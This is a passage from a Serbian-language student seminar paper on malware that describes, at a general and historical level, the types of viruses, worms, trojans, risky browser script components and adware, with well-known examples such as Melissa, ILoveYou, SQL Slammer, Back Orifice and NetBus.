Da bi virus imao uspeha, potrebno mu je nakon infiltracije u sistem obezbediti što više vremena za delovanje. Vreme opstanka virusa na inficiranom sistemu, direktno je povezano sa mogućnošću njegovog skrivanja. Iz ovih razloga autori virusa puno paţnje posvećuju metodi skrivanja svog virusa, kada se naĎe u inficiranom okruţenju. Tako dolazi do pojave takozvanih “nevidljivih” virusa, koji su u početku izazvali pravu paniku. Nevidljivi virusi nisu ništa drugo do virusi koji upotrebljavaju razne mehanizme da bi korisniku, tačnije antivirus programu, onemogućili otkrivanje njihovog postojanja i oteţali uklanjanje sa zaraţenog sistema. Na osnovu ovog zaključujemo da apsolutno nevidljivih virusa nema, oni su korisniku nevidljivi samo do odreĎenog nivoa.

Polimorfizam [22] predstavlja jedan od efikasnih načina skrivanja virusa u sistemu. Virus koji poseduje osobine polimorfizma u stanju je da promeni svoj izvršni kod, obično uz pomoć enkripcije ili prepakivanjem delova koda. Enkripcija označava promenu izgleda poruke, najčešće radi njene zaštite, koja se pravilnim dekriptovanjem ponovo vraća u prvobitno stanje.

Polimorfno modifikovan virus poseduje drugačiji kod u odnosu na svoje prethodnike (roditelje), zbog toga je njegova detekcija mnogo teţa. Polimorfizam praktično onemogućava detekciju virusa po njegovom potpisu, što predstavlja najsigurniji način detekcije.

Iako je većina virusa napisana za Windows operativne sisteme, oni su prisutni i na drugim platformama. Postoje virusi (npr. makro virusi) koji su u stanju da istovremeno operišu na više različitih platformi.

3.1 DOS i Windows virusi

Danas DOS predstavlja prevaziĎen operativni sistem. Sa njim su u istoriju otišli i virusi koji su postojali na njemu. MeĎutim za shvatanje principa funkcion isanja savremenih virusa poţeljno je razumeti principe rada DOS virusa, kao preteče

modernih Windows virusa.

DOS viruse moţemo podeliti po mestu delovanja na:

BSI (boot sektor) viruse

Viruse koji napadaju datoteke

Funkcionisanje BSI se svodi na inficiranje svakog diska ili diskete koja se

naĎe u kontaktu sa zaraţenim sistemom. Ovi virusi kopiraju sebe u boot sektor diska, a da bi prikrili svoje aktivnosti deo sa boot sektora izmeštaju na drugu lokaciju. Pri svakom pokretanju diska, prvo bi se učitavali podaci iz boot sektora, tačnije virus, koji je nakon izvršenja svojih aktivnosti pokretao prvobitno delociran sadrţaj boot

Page 20: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 20

sektora. Korisnik na ovaj način nije mogao da pretpostavi da se na njegovom sistemu nalazi virus.

Virusi koji napadaju datoteke čuvaju svoj programski kod unutar izvršne

datoteke i na taj način obezbeĎuju svoje izvršavanje pri pokretanju inficiranog programa. Na DOS operativnim sistemima postoje tri tipa izvršnih datoteka u kojima se mogu infiltrirati ovakvi virusi: bat, com i exe. Ukoliko bi virus svoje telo iskopirao na početak ili kraj izvršne datoteke, takav virus bi bilo moguće ukloniti. Problem su predstavljali virusi koji su svoj kod kopirali na proizvoljno mesto u izvršnoj datoteci uz uklanjanje dela programskog koda. Ovo je za posledicu imalo trajno uništenje inficiranog programa. Karakterističan predstavnik grupe virusa koji prepisuju podatke je Phoenix.

Šteta je ne pomenuti virus Lening koji je koristio propust u Command.com datoteci, tačnije prazan prostor na njenom kraju, da bi se infiltrirao u nju bez izmene njene duţine.

DOS virusi su imali na raspolaganju tri vremenska intervala za infekciju drugih diskova ili programa. Na osnovu toga ih moţemo podeliti u tri grupe:

One shot - odmah nakon pokretanja virusa

While called - pri svakom pokretanju inficiranog programa

Memory resident – virusi nastanjeni u memoriji, pokreću se samovoljno

Naravno, metoda sa virusom u memoriji pokazala se najefikasnijom i autori virusa su je najradije primenjivali. Joshi virus je primer memorijskog virusa, koji je imao mogućnost preţivljavanja restarta sistema. Virus bi se infiltritao u Ctrl+Alt+Del funkciju operativnog sistema i pri njenom aktiviranju izvršio neophodne radnje potrebne za preţivljavanje.

Slika 3.1 Virus Joshi – preuzeto iz (Ždrnja, 2003)

Page 21: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 21

Dolazak Windows operativnih sistema doneo je velike probleme tvorcima virusa, uglavnom zbog promene načina podizanja sistema. Većina starih DOS virusa nije radila već pod Windows 95 operativnim sistemom. Tehnike skrivanja pod DOS operativnim sistemima ovde više nisu funkcionisale. Svet virusa je pretrpeo drastične promene i proteklo je dosta vremena dok se tvorci virusa nisu navikli na novo okruţenje.

Anxiety porodica virusa, koja se pojavila 1997. godine, se smatra prvom veće rasprostranjenom grupom 32-bitnih virusa. Ovaj virus je koristio propust Windows 95 operativnih sistema da bi se upisao u memorijsko područje kernela.

Glavno sredstvo za širenje virusa prestaju da budu diskete. Počinje masovnije korišćenje lokalnih mreţa, Interneta i elektronske pošte kao novih načina za prenos virusa.

Magistr-A predstavlja polimorfni virus koji inficira Windows 32-bitne programe, a širi se klasičnim inficiranjem izvršnih datoteka, ali i putem elektronske pošte. Ovaj virus je bio izuzetno destruktivan, pored brisanja datoteka na lokalnim i mreţnim diskovima, pokušavao je prepisivanje podataka u BIOS-u.

Vremenom su virusi prevazišli ograničenje vrste operativnih sistema. W32.Esperanto je bio računarski virus koji je bio u stanju da zarazi računare pod DOS (com i exe), Windows 95 i Windows NT operativnim sistemima.

3.2 Linux virusi

Iako je prvi eksperimentalni Cohen-ov virus bio implementiran i testiran na UNIX operativnom sistemu, dugo se verovalo da računar pod Linux operativnim sitemom ne moţe biti zaraţen virusom. Razlog za takvo verovanje temeljio se na načinu na koji Linux dafiniše korisnička prava pristupa datotekama. Za razliku od Windows operativnih sistema, čiji korisnici uglavnom koriste administratorska prava, obični korisnici Linux sistema nemaju pravo menjanja sistema datoteka. Virus pokrenut pod ovim sistemom ne moţe zaraziti sistemsku datoteku, jer ni sam korisnik nema pravo izmene te datoteke.

Godine 1995. otkriven je prvi virus koji je napadao računare pod Linux operativnim sistemom. Ovim se ruše svi snovi o operativnom sistemu otpornom na viruse i ostale maliciozne programe.

Bliss [23] predstavlja jedan od prvih virusa na Linux operativnim sistemima. Ovaj virus napada izvršne datoteke tipa ELF i infiltrira se u svaku izvšnu datoteku nad kojom ima pravo pisanja. Pošto normalni korisnici Linux operativnog sistema retko kad imaju pravo pisanja po izvršnim datotekama Bliss virus nije uspevao da se proširi. Virus je nudio jednu zanimljivu mogućnost, samouništenje pozivom komande:

$ program –bliss –disinfect –filed –pleas

Page 22: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 22

Današnji korisnici Linux računara retko se susreću sa pravim virusima. Uglavnom iz razloga nemogućnosti izmene izvršnih datoteka, a samim tim i nemogućnosti infiltracije virusa u iste. Mnogo veća opasnost za njih predstavljaju računarski crvi, za koje po definiciji nije neophodan nosilac. Za Linux operativni sistem crvi predstavljaju samo automatizovane neovlašćene korisnike koji su u stanju da se šire velikom brzinom.

Većina današnjih kompanija, koje proizvode antivirusne pakete, nude programe za zaštitu od virusa za računare pod Linux operativnim sistemom. MeĎutim, u praksi se ovi programi retko upotrebljavaju. Bezbednost se uglavnom svodi na onemogućavanje napada redovnom instalacijom bezbednosnih zakrpa. Zbog ovako loše prakse, nije redak slučaj da upravo Linux sistemi, pod kojima rade mnogi mreţni serveri, predstavljaju mesto ulaska virusa u računarsku mreţu. Virus koji na ovaj način uĎe, moţe biti standardni Windows virus. On neće uspeti da inficira pomenuti sistem, ali će putem inficiranja deljivih datoteka sistema uspeti da inficira ostale računare na mreţi.

3.3 Makro virusi

Prvi makroi su imali za cilj da omoguće korisnicima automatizaciju često ponavljanih aktivnosti, najčešće prostim snimanjem akcija. Vremenom je omogućeno programiranje makroa (npr. Microsoft Visual Basic), čime su stvoreni uslovi za razvoj zlonamernih programa na tim paketima. Kao najčešći oblik zlonamernih programa, kreiranih uz pomoć makroa, javljaju se makro virusi [24]. Pored makro virusa često se javljaju makro trojanski konji, kao i generatori makro virusa.

Svaki programski paket koji dopušta snimanje akcija koje se sprovode ili dela programskog koda u neki dokument potencijalne su mete makro virusa. Naravno, najrasprostranjeniji programi sa pomenutim osobinama su svakako oni iz programskog paketa Microsoft Office, te zbog toga ne čudi što su makro virusi najprisutniji upravo na njima.

Karakteristika makro virusa je da su oni za razliku od klasičnih virusa, vezani za aplikaciju, a ne za operativni sistem ili platformu. Mada, u praksi se dešava da makro virusi ponekad imaju problema da preĎu na drugu platformu, te se ovo pravilo ne moţe u potpunosti ispoštovati.

Microsoft Word kao najistaknutiji primerak Office paketa, je program za koji je pisan najveći broj makro virusa. Tri grupe makro virusa koje pogaĎaju ovu aplikaciju su posebno bitne:

Makroi koji se izvode pri pokretanju Worda (npr. AutoExec)

Automatski makori (npr. AutoNew, AutoOpen, AutoClose, AutoExit ...)

Makroi sa imenom naredbi (npr. FileSave ) Od verzije Microsoft Office XP omogućena je autentifikacija makroa na

osnovu digitalnog potpisa. Digitalni potpis u slučaju makroa omogućava njihovu identifikaciju, a samim tim i bezbedno pokretanje. Po osnovnim podešavanjima, program veruje samo makroima koji su potpisani od strane ovlašćenog tela za

Page 23: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 23

izdavanje sertifikata (engl. CA - Certificate Autority). U slučaju nepotpisanih makroa, korisnik sam odlučuje o tome da li će im dozvoliti izvršavanje. Na ovaj način sprečava se pokretanje makro virusa, bez eksplicitne dozvole korisnika.

Prvi makro virus koji se pojavio bio je WM/Concep. Ovaj virus nije imao nikakvu nosivu komponentu, nego je samo inficirao fajlove. Veruje se da je sam Microsoft projektovao ovaj virus.

WM/Nuclear predstavlja virus sastavljen iz dva dela (Makro virusne komponente i DOS/Windows virusne komponente). Makro virus komponenta sadrţi veći broj makroa AutoExec, AutoOpen, FileSaveAs, FilePrint, FileExit. Pri otvaranju inficiranog dokumenta, virus će pokušati da inficira NORMAL.DOT datoteku modela i ukloni stavku “Prompt to save NORMAL.DOT”, kako bi prikrio svoje postojanje. Virus takoĎe menja makro FileSaveAs, čime se dobija mogućnost inficiranja svakog dokumenta koji se ţeli sačuvati na sistemu.

WM/Nuclear je namešten da bude izrazito destruktivan, ali većina njegovih funkcija nije ispravno radila. Jedinu štetu koju je uspeo da nanese je izmena dokumenta i dodavanje teksta na kraju dokumenta:

And finally I would like to sey:

STOP ALL FRENCH NUCLEAR TESTING IN PACIFIC

W97M/Melissa [25] makro virus je ostao zapamćen po brzom širenju. Distribuirao se putem članka u alt.sex NNTP grupi i sadrţao je Word dokumenat koji je bio inficiran Melisa virusom. Virus bi nakon pokretanja čitao iz Microsoft Outlook-a 50 adresa elektronske pošte i na njih slao inficirana dokumenta. Iako je virus ţiveo samo devet dana (zbog prevelike medijske paţnje), efekat širenja je bio iznenaĎujuće dobar, a Melissa virus postaje uzor budućim virusima.

3.4 Skript virusi

Skript virusi su podskup virusa koji napadaju sisteme datoteka. Pisani su u skript jezicima kao na primer Visual Basic Script, Java Script, BAT, PHP. Ovi virusi su sposobni da inficiraju datoteke u drugom formatu, kao što je HTML, ukoliko datoteke tog formata dozvoljavaju izvršavanje skripta.

3.5 Destruktivnost virusa

Jedno je sigurno, što je virus destruktivniji, to dobija veću medijsku paţnju. MeĎutim, da bi virus uspeo da se proširi, poţeljno je da što duţi vremenski period ostane neotkriven. Virus koji se destruktivno ponaša će lako biti zapaţen. Iz tog razloga autori virusa najčešće ne implementiraju nosivu komponentu, zaduţenu za destruktivnost virusa.

Iako neki virusi ne poseduju implementiranu nosivu komponentu, oni je ipak indirektno poseduju. Svaki virus na računaru zauzimanjem memorijskog prostora i trošenjem procesorskog vremena, u stvari destruktivno deluje na sam računar.

Page 24: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 24

Postepeno menjanje i uništavanje podataka na računaru smatra se najgorim oblikom destruktivnog ponašanja virusa. Ova tvrdnja moţe se dokazati na osnovu Dark Avenger virusa [26], koji je brisao uglavnom slične delove fajlova. Na ovaj način su čak i korisnici koji su redovno bekapovali podatke, u slučaju infekcije ovim virusom, trajno ostajali bez dela istih.

Osobina virusa da modifikuju podatke posebno je izraţena kod Makro virusa. Tako modifikovani podaci mogu predstavljati neispravne podatke, što potencijalno moţe biti opasnije od samog brisanja. Prvobitni podaci se najčešće ne mogu povratiti.

Infiltrirani virus ima neograničene mogućnosti delovanja na inficiranom računaru. Sve što moţe da uradi običan program moţe i virus. Na primer brisanje ili prepisivanje podataka, menjanje informacija, ubijanje procesa drugih programa, formatiranje diska…

Kada virus dospe u sistem, on neminovno napravi neku vrstu štete. Štete nastale radom virusa mogu se podeliti na:

Primarnu štetu – nastaje isključivo pokretanjem virusa i izvršenjem njegove nosive komponente. Virus po definiciji ne mora posedovati nosivu komponentu, pa tako ne mora ni izazivati ovakvu štetu.

Sekundarnu štetu – svaki vid štete koji nastaje kao posledica delovanja

virusa, a nije u vezi sa izvršnom komponentom. Primeri ove štete su zauzimanje memorijskog prostora, zagušenje mreţe, zauzeće procesora itd.

Svojim delovanjem virusi narušavaju tri klasične komponente sigurnosti podataka:

Poverljivost podataka – kraĎa šifara, kraĎa privatnih informacija…

Integritet podataka – menjanje podataka, prepisivanje podataka…

Dostupnost podataka – brisanje podataka, enkripcija podataka…

Medijski vrlo akutelna, hardverska šteta u stvarnosti predstavlja vrlo redak slučaj nanošenja štete dejstvom virusa. Treba napomenuti da još ne postoje virusi koji fizički oštećuju hardver, već virusi koji svojim dejstvom, koje se uglavnom svodi na prepisivanje sadrţaja BIOS-a, dovode fizičke komponente u neupotrebljivo stanje. Ovaj problem je efikasno rešen uvoĎenjem Dual – BIOS sistema bezbednosti, gde se jednostavnim aktiviranjem prekidača vrši kopiranje podataka iz rezervnog BIOS-a u primarni (oštećeni) BIOS.

Page 25: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 25

4. CRVI

Crv [2] (engl. worm) predstavlja samostalni (engl. stand-alone) program, ili skup programa, koji se šire s jednog računara na drugi. Upravo osobina samostalnosti je ono što ih razlikuje od virusa, jer za njihovo prenošenje nije potrebna nikakva datoteka.

Internet, kao najveća globalna mreţa, predstavlja optimalan medij za širenje crva. Uobičajene metode prenošenja na ţrtvu jesu upotreba elektronske pošte i Internet servisa (FTP, HTTP).

Razlikujemo dve vrste crva:

Crvi na računaru domaćina (engl. Host computer worms)

Mreţni crvi

Crvi na računaru domaćina nalaze se na računaru na kome su pokrenuti, a

mreţnu komunikaciju upotrebljavaju samo za širenje.

Mreţni crvi se sastoje od višestrukih delova, od kojih je svaki pokrenut na

drugom računaru u mreţi. Mreţa se upotrebljava za komunikaciju meĎu delovima. Ukoliko mreţni crv poseduje glavni deo koji upravlja radom drugih delova crva, tada ga nazivamo hobotnicom (engl. Octopus).

Širenje crva se moţe klasifikovati prema transportnom mehanizmu i načinu pokretanja.

Podela crva prema transportnom mehanizmu:

Prenos putem elektronske pošte (engl. e-mail worms)

Prenos putem instant poruka (engl. IM worms)

Prenos putem Interneta (FTP i HTTP protokola)

Prenos putem deljenja datoteka (engl. file-sharing)

Prenos putem razmene datoteka izmeĎu ravnopravnih računara (P2P crvi)

Podela crva prema načinu pokretanja:

Crvi koji se sami pokreću

Crvi koje pokreću korisnici - koristi ranjivost ţrtve ili koristi metode prevare i obmanjivanja, poznate kao društveni inţenjering (engl. social engineering), kako bi naterao korisnika da ga pokrene.

Hibridni crvi – koriste kombinaciju samostalnog pokretanja i pokretanja od strane korisnika

Crvi koji se šalju putem elektronske pošte, vrlo brzo se mogu raširiti, najčešće u toku jednog dana. Iz tog razloga ovi crvi predstavljaju najrasprostranjeniji metod transporta. E-mail crvi koriste e-mail klijente (npr. Microsoft Office Outlook) na korisnikovom računaru, da bi došli do liste adresa. U slučaju da ih pronaĎe, šalje inficirane poruke na adrese koje je pronašao. Postoje i crvi koji koriste mnogo sofisticiranije vrste pribavljanja e-mail adresa, poput pretrage istorijata web stranica internet pretraţivača, koje neretko sadrţe e-mail adrese.

Page 26: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 26

Ukoliko korisnik uspe da uz pomoć antivirusnog programa blokira upad e-mail crva, on najčešće neće biti u stanju da detektuje odakle je inficirana poruka došla i upozori korisnika čiji je sistem zaraţen. Razlog ovome je mogućnost promene sadrţaja adrese pošiljaoca (engl. From) pri slanju pošte, što ovakvi crvi često praktikuju. Na ovaj način crv dobija na vremenu, oteţavanjem lociranja izvora širenja zaraze.

Jedini pouzdan način detekcije pošiljaoca je pregled zaglavlja poruke elektronske pošte, u kome se moţe pronaći IP adresa sa koje je e-mail poruka poslata.

Slika 4.1 Zaglavlje poruke – Microsoft Outlook

4.1 Poznati crvi

Moris Worm [12] predstavlja jednog od prvih računarskih crva koji je distribuiran preko Interneta. Crv je pušten od stane Roberta Morrisa 1988. godine.

Napadao je Unix operativne sisteme, a za napad je koristio nekoliko tehnika napada: provaljivanje jednostavnih lozinki u lokalnoj pw datoteci, korišćenje propusta u finger daemon-u i eksploatisanje debug trapdoor-a u sendmail daemon-u. U slučaju da neki od napada uspe, crv bi se dalje replicirao.

Page 27: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 27

ILoveYou ili LoveLetter [27] je jedan od VBS crva koji se brzo raširio. Pojavio se 2000. godine i uspeo je da zarazi na desetine miliona računara pod Windows operativnim sistemom.

Glavnu ulogu u brzom širenju ovog crva, kao kod mnogih koji će se javljati kasnije, odigrala je takozvana “komponenta socijalnog inţenjeringa”. Crv je dolazio u prilogu elektronske pošte, koja je bila Visual Basic Script datoteka pod imenom LOVE-LETTER-FOR-YOU.TXT.vbs, a sama pošta bila je naslovljena sa “I Love You”. Dvostruka ekstenzija omogućila je prekrivanje prave funkcionalnosti priloga elektronske pošte (Windows naravno detektuje samo poslednju ekstenziju, u ovom slučaju vbs).

Crv bi pri upadu na računar menjao Registry bazu kako bi omogućio svoje pokretanje pri podizanju računara. Nakon toga pokušavao bi da inficira datoteke tipa VBS,VBE, JS, JSE, CSS, WSH, JPG, JPEG, MP2 i MP3.

Nakon uspešne infekcije računara crv bi na više načina pokušavao da se proširi: pristupao Outlook-u i slao poštu (koja bi sadrţala njegovu kopiju) na sve dostupne adrese, pokušavao prenos putem IRC-a, pokušavao skinuti trojanske konje zadavanjem početne stranice u Internet Explorer-u...

Anna Kournikova [28] je sledeći crv zasnovan na socijalnom inţenjeringu i

predstavlja enkriptovani crv napisan u Visual Basic-u, koji se širio upotrebom Microsoft Outlook aplikacije. Samo telo se nalazilo u datoteci koja je dolazila uz poruku, a nosila je naslov AnnaKournikova.jpg.vbs. Godine 2001. ovaj crv se za samo nekoliko sati raširio po celom svetu. Najgore u svemu ovome je da je crv Anna Kournikova kreiran upotrebom alata za generisanje virusa.

Slika 4.2 Crv Anna Kournikova

Page 28: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 28

SQL Slammer [29] se pojavio 2003. godine, a koristio je sigurnosne propuste na Microsoft SQL Serveru 2000 (iako je 6 meseci pre pojave virusa kompanija Microsoft izbacila zakrpu za ovaj problem), i svoju veličinu od svega 376 bajta za brzo širenje. Crv se toliko raširio da je uspeo da zaguši ceo Internet saobraćaj i onesposobi mnoge mreţe i servise na njemu. SQL Slammer nije inficirao datoteke na računaru, a pošto se nalazio samo u operativnoj memoriji, restartom računara crv bi bio uklonjen sa njega.

Slika 4.3 Rasprostiranje SQL Slamera – preuzeto iz [30]

Page 29: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 29

5. TROJANSKI KONJI

Trojanski konji [3] (engl. Trojan horses) ili kraće trojanci, su programi koji se

maskiraju i reklamiraju kao korisni programi, sa namerom da ubede (prevare) korisnike da ih pokrenu.

Ono što trojance razlikuje od virusa i crva je nemogućnost replikacije, tačnije oni se mogu prenositi sa računara na računar samo putem aktivnosti samog korisnika. To znači da ovaj tip zlonamernih programa ne poseduje infekcijsku komponentu, tj. funkcije za inficiranje drugih programa.

Trojanski konji koji uspevaju da se infiltriraju u sistem, najčešće će pokušati da ukradu korisne informacija od korisnika, kao na primer lozinke. TakoĎe, često korišćena mogućnost trojanaca je takozvani “backdoor” ili omogućavanje neovlašćenog pristupa i kontrole računara od strane neautorizovanog korisnika, a da legitimni korisnik toga nije svestan.

Uskršnja jaja [31], [32] (engl. Easter eggs) ili funkcije programa koje su

skrivene i nisu njegova osnovna namena, ne smatraju se trojanskim konjima. Ove funkcije prave programeri, najčešće radi zabave, i ne poseduju nikakav zlonameran deo koda.

Slika 5.1 The Word 97 Pinball & Windows 98 credits easter egg – preuzeto iz [32]

Da bi se trojanac ubacio u sistem, on na neki način mora ubediti korisnika da ga snimi na njega. U tu svrhu se najčešće koriste drugi „korisni” programi, koji pored osnovnih funkcija izvršavaju još neke, u pozadini skrivene funkcije.

Distribucija trojanskih konja obično se obavlja putem piratskih programa, koji se distribuiraju preko sajtova www.rapidshare.com, www.piratebay.com i sličnih. Korisnici koji preuzimaju nelicencirane programe ili generatore ključeva za pomenute programe, laka su meta za trojance. Često takve programe postavljaju sami proizvoĎači u nameri da odvrate korisnike od nelegalnog korišćenja njihove intelektualne svojine.

Page 30: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 30

Svi trojanski konji poseduju jednu zajedničku osobinu, prikrivenost. Od toga koliko je trojanac sposoban da sakrije svoje prisustvo na sistemu od korisnika, zavisiće njegov uspeh ili neuspeh.

5.1 Login

Klasičan primer trojanskog konja je Login trojanski konj, koji simulira izgled forme za prijavu korisnika. Trojanac blokira pokretanje nekog servisa ili programa, a umesto njegove forme za logovanje pokreće svoju, koja izgleda identično kao forma programa preko koje je korisnik ţeleo da se prijavi na sistem. Pošto korisnik nije u stanju da uoči potencijalnu opasnost, on unosi svoju šifru, koja završava negde u memoriji trojanca. Trojanski konj potom pokreće pravu aplikaciju i dalje distribuira unetu lozinku osobi koja ga je postavila. Korisnik koji je ţrtva ovog napada najčešće nije ni svestan šta se desilo, sve do trenutka kada osoba koja je izvela napad ne odluči da iskoristi ukradenu šifru.

Slika 5.2 Primeri zaraženih servisa poznatih banaka – preuzeto iz [33]

Page 31: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 31

5.2 Backdoor

Backdoor [34] programi su često upotrebljavana vrsta trojanskih konja, a omogućavaju udaljenom korisniku da pristupi inficiranom računaru i to tako da vlasnik računara nije u stanju da uoči “posetioca”.

Grupu takvih programa predstavljaju RAT (engl. Remote Access Tools) programi, koji omogućavaju potpunu kontrolu nad računarom sa udaljenosti. Trojanac Back Orifice 2K [35], [36] (BO2K) je karakterističan predstavnik ove grupe alata. Iako u početku zamišljen kao alat za pomoć administratorima, njegovu osobinu neovlašćenog pristupa udaljenom računaru ubrzo počinju da upotrebljavaju zlonamerni korisnici.

Slika 5.2 BO2K 1.1.5 Server & Client – preuzeto iz [37]

Naročito popularne vrste backdoor programa su DoS [5] i DDoS agenti. Ovi agenti dolaze najčešće kao komponenta nekog backdoor trojanskog konja i postavljaju se na što veći broj računara. Nakon njihovog sinhronizovanog pokretanja, od strane osobe koja ih je poslala ili nekog dogaĎaja, slanjem velikog broja zahteva na adresu nekog servisa, dolazi do njegovog zagušenja (ili zagušenja celokupnog saobraćaja mreţe).

5.3 Joke

Najbezazlenija grupa trojanskih konja je takozvana „Joke“ grupa. Ovi trojanci su pisani iz čiste zabave, a namera njihovih autora je da se našale sa ţrtvom. Programi iz ove grupe ne sadrţe nikakav maliciozni kod, već se uglavnom zasnivaju

Page 32: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 32

na prikazu poruke (obično problematičnog sadrţaja). Bez obzira na sve, antivirusni programi će ih detektovati kao joke trojance i sprečiti njihovo izvršavanje.

Slika 5.3 Joke trojanac u akciji

5.4 NetBus alatka

NetBus [38], [39] trojanski konj isprva je zamišljen za legitimnu upotrebu, poput njegovog prethodnika BO2K i mnogih drugih trojanaca. U poreĎenju sa Back Orifice trojancem poseduje mnogo veći set funkcija, koje mu omogućavaju pristup svim podacima na računaru i mogućnost kontrole pojedinih funkcija Windows operativnog sistema.

Program NetBus se sastoji iz klijentskog i serverskog dela. Serverski deo se instalira na ciljani računar, a klijentski na računar sa koga se vrši kontrola (napad). Da bi napadač uspeo da instalira serversku komponentu na ciljani računar, mora ubediti stvarnog korisnik da je instalira. Distributeri NetBus-a u tu svrhu obično koriste laţna aţuriranja za popularne programe.

Page 33: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 33

Slika 5.4 NetBus i NetBus Pro klijentske aplikacije – preuzeto iz [38] i [39]

Najbolja zaštita od trojanskih konja je prevencija, tj. onemogućavanje njihovog upada, instalacijom antivirusnih programa i podizanjem firewall-a. OdreĎeni broj trojanaca ima mogućnost onesposobljavanja sistema zaštite ukoliko se naĎe u sistemu. Naknadno uklanjanje i detekcija infiltriranih trojanaca sa ovom osobinom je dodatno oteţana, a ponekad i nemoguća.

Page 34: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 34

6. PROBLEMATIČNE KOMPONENTE

Problematične komponete same po sebi predstavljaju korisne komponente, koje zlonamerni korisnici koriste da bi zaobišli bezbednosne mehanizme računara. Neke poznate komponete koje se često upotrebljavaju za izvoĎenje zlonamernih radnji, biće obraĎene u ovom poglavlju.

6.1 Java skript

Godine 1995. Natscape predstavlja jednostavan skript jezik (Java Script) [40], zasnovan na Java sintaksi. Kod se postavlja direktno u html stranicu i omogućava bolju interakciju stranice sa korisnikom.

Sigurnosni model JavaScript-a sluţi za ograničavanje aktivnosti koje moţe

izvršiti neka skripta. Za implementaciju ovog modela su zaduţeni web pretraţivači, te se neretko dešava da ova komponenta nije ispravno implementirana. Loša implementacija sigurnosnog modela omogućava pokretanje zlonamernih JavaScript programa, na nekim od stranica Internet pretraţivača.

Klasičan primer zlonamernog JavaScript programa, predstavljaju skriptovi za kraĎu šifara, takozvani logeri. Ovi programčići uz pomoć JavaScript-a simuliraju prozor za logovanje i na taj način dolaze do ţeljenih šifara korisnika. Ta vrsta napada se najčešće koristi na javnim servisima poput web klijenta elektronske pošte.

Slika 6.1 Firefox - Podešavanje prava JavaScript kontrole

Page 35: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 35

6.2 ActiveX kontrole

ActiveX [41] predstavlja tehnologiju razvijenu od strane Microsoft-a, koja dozvoljava dinamičko menjanje stranica. Glavna mana komponenata izraĎenih u ovoj tehnologiji je što, za razliku od Java Script-a, ActiveX komponente moţete pokretati samo pod Windows operativnim sistemom. Iz tog razloga ActiveX komponente nisu dostigle popularnost Java Script-a.

Iako se sigurnosna komponenta ActiveX kontrola zasniva na principu digitalnih potpisa, o krajnjoj akciji instaliranja neke sumnjive kontrole odlučuje sam

korisnik. Pri instaliranju komponente, neophodno je proveriti njen identitet, pošto komponente koje nisu potpisane mogu da sadrţe problematičan kod. Ukoliko se ActiveX komponenta ipak intalirana, ona dobija neograničena prava na računaru.

Najčešće uz problematične ActiveX komponente dolaze spajver [6] (engl. Spyware) programi.

Slika 6.2 IExplorer - Podešavanje prava ActiveX kontrole

6.3 VB skript

Još jedan skript jezik koji se moţe upotrebljavati u html dokumentima je VB Script [42], [43]. Kreirao ga je Microsoft i zasnovan je na programskom jeziku Visual Basic. Za razliku od Java skripta, ovaj skript moţe komunicirati sa ActiveX kontrolama i na taj način iskoristiti eventualne propuste u njima (primer: Kak worm [44]).

VB skript ne poseduje specijalni sigurnosni model, već su iz njega uklonjene sve potencijalne opasnosti, kao na primer operacije sa datotekama ili izvršavanje

Page 36: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 36

DLL koda. Sam skript je sveden na pristupanje podacima u html dokumentu, što uključuje i ActiveX kontrole.

Kako ActiveX kontrole nisu ponekad dobro implementirane, javljaju se potencijalne rupe u sigurnosti sistema. Problemi ove prirode se uočavaju čak i kod potpisanih ActivX kontrola. Redovno instaliranje bezbednosnih zakrpa je jedno od mogućih rešenja ovog problema.

Page 37: Zlonamerni Programi - Goran Panić

Bezbednost u računarskim mreţama Seminarski rad | Zlonamerni programi

S t r a n a | 37

7. PARAZITSKI PROGRAMI

Programi koji se distribuiraju i instaliraju zajedno sa nekom korisnom aplikacijom, a koji narušavaju privatnost korisnika, troše resurse procesora ili zauzimaju mesto na disku i sve to bez znanja korisnika, zajedničkim imenom se nazivaju parazitski programi.

Ovi programi ne nanose nikakvu štetu sistemu, ako izuzmemo trošenje resursa računara, a njihova aktivnost se najčešće svodi na reklamiranje proizvoda firme koja ih distribuira. MeĎutim ako se instaliraju na sistem, parazitski programi dobijaju sva prava poput bilo kog drugog programa, te na taj način mogu predstavljati potencijalnu opasnost po bezbednost samog sistema.

Postoji nekoliko grupa parazitskih programa: Adware, Spyware i tajne mreže.

7.1 Adware

Adware [7] spada u najpoznatije parazitske programe. Najčešće se javlja u obliku JavaScrit koda zaduţenog za prikaz reklama na Internetu.

